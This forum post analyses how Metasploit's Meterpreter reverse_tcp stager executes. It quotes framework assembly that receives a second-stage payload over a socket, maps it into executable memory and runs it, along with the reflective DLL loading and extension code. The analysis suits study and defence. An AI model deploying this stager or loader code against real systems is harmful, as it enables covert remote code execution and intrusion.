首页
论坛
专栏
课程

[讨论]Meterpreter技术原理:载荷执行

lollipop 2018-11-5 09:56 1566

Meterpreter技术原理:载荷执行

    Meterpreter是Metasploit Framework提供的最常用的攻击载荷(payload)之一,因其功能强大、扩展性好而深受广大渗透测试人员的喜爱。关于Meterpreter的使用方法、免杀技巧等网上已经有很多教程,本文以32位reverse_tcp payload为例,结合源码,分析梳理Meterpreter载荷执行流程和原理。

0x00 流程总览

通过msfconsole生成的reverse_tcp shellcode,其实就是一个stager,这段shellcode的功能是连接MSF,接收MSF发送回来的payload,利用Reflective Dll Injection技术在内存中直接加载payload。


0x01 reverse_tcp shellcode分析

代码位于lib/msf/core/payload/windows/reverse_tcp.rb:

  #
  # Generate and compile the stager
  #
  def generate_reverse_tcp(opts={})
    combined_asm = %Q^
      cld                    ; Clear the direction flag.
      call start   ; Call start, this pushes the address of'api_call' onto
 the stack.
      #{asm_block_api}
      start:
        pop ebp
      #{asm_reverse_tcp(opts)}
      #{asm_block_recv(opts)}
    ^
    Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
  end

shellcode大致可以分为三个部分,其中#{asm_block_api}是根据函数hash搜索函数地址并调用,代码位于lib/msf/core/payload/windows/block_api.rb;#{asm_reverse_tcp(opts)}创建TCP连接,#{asm_block_recv(opts)}接收和存储MSF发送过来的数据,跳到接收数据的起始地址进入bootstrap,这两部分代码位于/lib/msf/core/payload/windows/reverse_tcp.rb。

    call start
        #{asm_block_api}
Start:
    pop ebp

将#{asm_block_api}的地址保存在ebp中,以后只需push 函数的hash值,call ebp即可调用该函数。

下面是#{asm_block_recv(opts)}部分的代码:

recv:
  ; Receive the size of the incoming second stage...
  push byte 0            ; flags
  push byte 4            ; length = sizeof( DWORD );
  push esi               ; the 4 byte buffer on the stack to hold the second stage length
  push edi               ; the saved socket
  push 0x5FC8D902        ; hash( "ws2_32.dll", "recv" )
  call ebp               ; recv( s, &dwLength, 4, 0 );
  ; Alloc a RWX buffer for the second stage
  mov esi, [esi]         ; dereference the pointer to the second stage length
  push byte 0x40         ; PAGE_EXECUTE_READWRITE
  push 0x1000            ; MEM_COMMIT
  push esi               ; push the newly recieved second stage length.
  push byte 0            ; NULL as we dont care where the allocation is.
  push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
  call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
  ; Receive the second stage and execute it...
  xchg ebx, eax          ; ebx = our new memory address for the new stage
  push ebx               ; push the address of the new stage so we can return into it
read_more:               ;
  push byte 0            ; flags
  push esi               ; length
  push ebx               ; the current address into our second stage's RWX buffer
  push edi               ; the saved socket
  push 0x5FC8D902        ; hash( "ws2_32.dll", "recv" )
  call ebp               ; recv( s, buffer, length, 0 );
  add ebx, eax           ; buffer += bytes_received
  sub esi, eax           ; length -= bytes_received, will set flags
  jnz read_more          ; continue if we have more to read
  ret                    ; return into the second stage

先接收4字节的length,调用VirtualAlloc分配具有PAGE_EXECUTE_READWRITE属性的内存用于保存payload,xchg ebx,eax;push ebx将内存地址压入栈中,最后通过ret指令从栈里弹出地址,跳入该地址执行。这里edi保存的是socket。

0x02 payload分析

MSF发送过来的payload分为三个部分。第一部分是长度4字节的length,表示后面两部分的总大小;第二部分是修改了DOS头部的metsrv.x86.dll;第三部分是配置数据。





MSF把metsrv.x86.dll的DOS头部修改为一段bootstrap,代码位于/lib/msf/core/payload/windows/meterpreter_loader.rb

def asm_invoke_metsrv(opts={})
    asm = %Q^
        ; prologue
          dec ebp               ; 'M'
          pop edx               ; 'Z'
          call $+5              ; call next instruction
          pop ebx               ; get the current location (+7 bytes)
          push edx              ; restore edx
          inc ebp               ; restore ebp
          push ebp              ; save ebp for later
          mov ebp, esp          ; set up a new stack frame
        ; Invoke ReflectiveLoader()
          ; add the offset to ReflectiveLoader() (0x????????)
          add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
          call ebx              ; invoke ReflectiveLoader()
        ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
          ; offset from ReflectiveLoader() to the end of the DLL
          add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
    ^

    unless opts[:stageless] || opts[:force_write_handle] == true
      asm << %Q^
          mov [ebx], edi        ; write the current socket/handle to the config
      ^
    end

    asm << %Q^
          push ebx              ; push the pointer to the configuration start
          push 4                ; indicate that we have attached
          push eax              ; push some arbitrary value for hInstance
          call eax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
    ^
  End

          dec ebp               ; 'M'
          pop edx               ; 'Z'

两条无效指令仅仅是为了恢复DOS头部标志。


          call $+5              ; call next instruction
          pop ebx               ; get the current location (+7 bytes)

将当前指令的地址保存在ebx中


          push edx              ; restore edx
          inc ebp               ; restore ebp

还原前面dec ebp,pop edx两条指令


          add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
          call ebx              ; invoke ReflectiveLoader()

MSF计算出ReflectiveLoader函数相对于PE文件头部的偏移,减去前三条指令占用的7字节,再加上ebx,得到ReflectiveLoader函数在内存中的地址。


Reflective DLL Injection是一种在内存中直接加载DLL的技术。这里不再讲述细节,看雪论坛、github都有不少相关代码和教程。实现步骤大致如下:

1、根据IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage的大小分配一片内存

2、根据IMAGE_SECTION_HEADER的信息将各section复制到新的内存中

3、处理导出表

4、处理重定位表

5、以DLL_PROCESS_ATTACH为参数调用 DllMain


add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}

ebx指向第三部分配置数据。其数据结构定义在metasploit-payloads/c/meterpreter/source/common/config.h

typedef struct _MetsrvConfig
{
	MetsrvSession session;
	MetsrvTransportCommon transports[1];  ///! Placeholder for 0 or more transports
	// Extensions will appear after this
	// After extensions, we get a list of extension initialisers
	// <name of extension>\x00<datasize><data>
	// <name of extension>\x00<datasize><data>
	// \x00
} MetsrvConfig;
typedef struct _MetsrvSession
{
	union
	{
		UINT_PTR handle;
		BYTE padding[8];
	} comms_handle;                       ///! Socket/handle for communications (if there is one).
	DWORD exit_func;                      ///! Exit func identifier for when the session ends.
	int expiry;                           ///! The total number of seconds to wait before killing off the session.
	BYTE uuid[UUID_SIZE];                 ///! UUID
	BYTE session_guid[sizeof(GUID)];      ///! Current session GUID
} MetsrvSession;

typedef struct _MetsrvTransportCommon
{
	CHARTYPE url[URL_SIZE];               ///! Transport url:  scheme://host:port/URI
	int comms_timeout;                    ///! Number of sessions to wait for a new packet.
	int retry_total;                      ///! Total seconds to retry comms for.
	int retry_wait;                       ///! Seconds to wait between reconnects.
} MetsrvTransportCommon;

其中transports是个MetsrvTransportCommon数组,meterprter会循环尝试所有transports进行连接,在这个例子中只有一个TCP transport。


mov [ebx], edi        ; write the current socket/handle to the config

          push ebx              ; push the pointer to the configuration start
          push 4                ; indicate that we have attached
          push eax              ; push some arbitrary value for hInstance
          call eax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)

完成内存加载DLL之后,bootstrap以DLL_METASPLOIT_ATTACH为参数调用DllMain,从这里开始就完全进入了metsrv.x86.dll的代码中(参见https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter),执行流程大致是DllMain--->MetasploitDllAttach--->Init--->server_setup。在server_setup函数中根据MetsrvTransportCommon数组创建transports,注册命令分发函数,加载扩展,最后进入server_dispatch循环,接收处理MSF发送过来的命令。


Meterpreter通过Command结构体的数组和链表维持两个命令分发表(Dispatch Table)。


typedef struct command
{
	LPCSTR           method;     ///< Identifier for the command.
	PacketDispatcher request;    ///< Defines the request handler.
	PacketDispatcher response;   ///< Defines the response handler.

	// Internal -- not stored
	struct command   *next;      ///< Pointer to the next command in the command list.
	struct command   *prev;      ///< Pointer to the previous command in the command list.
} Command;

其中method为命令字符串,request,response为命令处理函数。

一个命令分发表是Command baseCommands[]数组,可处理migrate、shutdown等命令,这个数组无法扩展;另一个是Command* extensionCommands指针指向的命令分发表,这是一个链表,可通过command_register函数将其余Command和扩展中的Command动态插入链表中。


0x03 Meterpreter扩展加载

Meterpreter有两种方式接收扩展。在早期的版本中,MSF将stdapi和pri两个扩展与payload一同发送,由reverse_tcp shellcode接收。数据包格式如下

  MetsrvExtension.size
  Extension1.dll
  MetsrvExtension.size
  Extension2.dll
  MetsrvExtension.size = 0
  initData

typedef struct _MetsrvExtension
{
	DWORD size;                           ///! Size of the extension.
	BYTE dll[1];                          ///! Array of extension bytes (will be more than 1).
} MetsrvExtension;

在server_setup函数中调用load_stageless_extensions加载扩展:

while (stagelessExtensions->size > 0)
{
	dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size);
	HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size);
	load_extension(hLibrary, TRUE, remote, NULL, extensionCommands);
	stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size);
}

根据MetsrvExtension.size大小读取Dll数据,与meterpreter自身的加载方式相同,扩展采用了ReflectiveLoader技术在内存中加载:获取ReflectiveLoader函数地址并调用,最后调用扩展导出函数InitServerExtension扩充命令分发表。

另一种方式是通过load命令加载,例如“load mimikatz”。处理load命令的函数是request_core_loadlib,同样采用了ReflectiveLoader技术。


// If the library is not to be stored on disk, 
if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK))
{
	// try to load the library via its reflective loader...
	library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length);
	if (library == NULL)
	{
	// if that fails, presumably besause the library doesn't support
	// reflective injection, we default to using libloader...
			library = libloader_load_library(targetPath,
				dataTlv.buffer, dataTlv.header.length);
	}
	else
	{
		bLibLoadedReflectivly = TRUE;
	}
	res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
}
// If this library is supposed to be an extension library, try to
// call its Init routine
if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && library)
{
	res = load_extension(library, bLibLoadedReflectivly, remote, response, first);
}




[防守篇]2018看雪.TSRC CTF 挑战赛(团队赛)11月1日征题开启!

最后于 2018-11-5 09:57 被lollipop编辑 ,原因:
最新回复 (5)
sun setting 2018-11-5 10:24
2

0

mark
古朴 2018-11-5 17:52
3

0

mark
KevinsBobo 2 2018-11-5 19:01
4

0

感谢分享!
Editor 2018-11-7 09:32
5

0

感谢分享!
MsScotch 2018-11-8 17:21
6

0

返回